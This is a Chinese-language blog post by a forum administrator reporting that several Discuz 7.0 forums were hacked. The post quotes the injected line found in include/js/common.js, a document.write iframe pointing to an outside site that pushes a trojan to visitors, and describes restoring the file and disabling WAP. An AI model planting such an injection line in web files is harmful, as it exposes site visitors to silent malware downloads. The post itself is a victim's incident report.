Discuz 7.0有漏洞!

557views

前两天发现偶架的四五个论坛都几乎被挂上了木马,当时比较惊讶,后来发现唯一的一个没有被挂上的是由6.x升级上来的,由于当时Wap的漏洞,所以把Wap给关了,不知道是不是这个原因得以幸免,但不管怎么样,先把wap都关了,至少这样如果真是wap的功能上的漏洞就可以暂时逃过一劫,这次挂的是在common.js里面挂iframe,这样就在悄然无息中让你去一个垃圾网站往你的机器下载木马,好像几个防病毒软件都能检测出来,所以看来这个木马是个很流行的木马啊。

知道了木马就好办了,咱这些论坛都不是怎么popular的坛子,黑客或者什么人挂一次马基本就不来了,把中招的include/js/common.js拉下来看了看,发现这个文件中多了一行
document.write("<iframe src=http://www.hao3956.cn/llsg/12.htm width=50 height=0 border=0></iframe>")
网上查了下,中招的不是偶一个啊。。赶紧修复吧。。
上了ftp,覆盖了common.js,然后去关了wap,再跑去discuz的论坛上去看,这段时间貌似很多坛子被挂马,大家都在投诉,肯定是挂了,但谁也不清楚为什么被挂上,众说纷纭,吵吵闹闹,唉,算了吧,挂就挂吧,官方如果不出来澄清bug的问题,大家除了挂马的这个垃圾之外,还真不容易找到为什么被挂。

服务器在美国,应该不是服务器的安全问题,而唯一能解释的就是discuz的bug了,不过要等到官方的承认,又估计不知道什么时候了,呵呵。。

相关的文章

Leave a Reply

will not be published

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据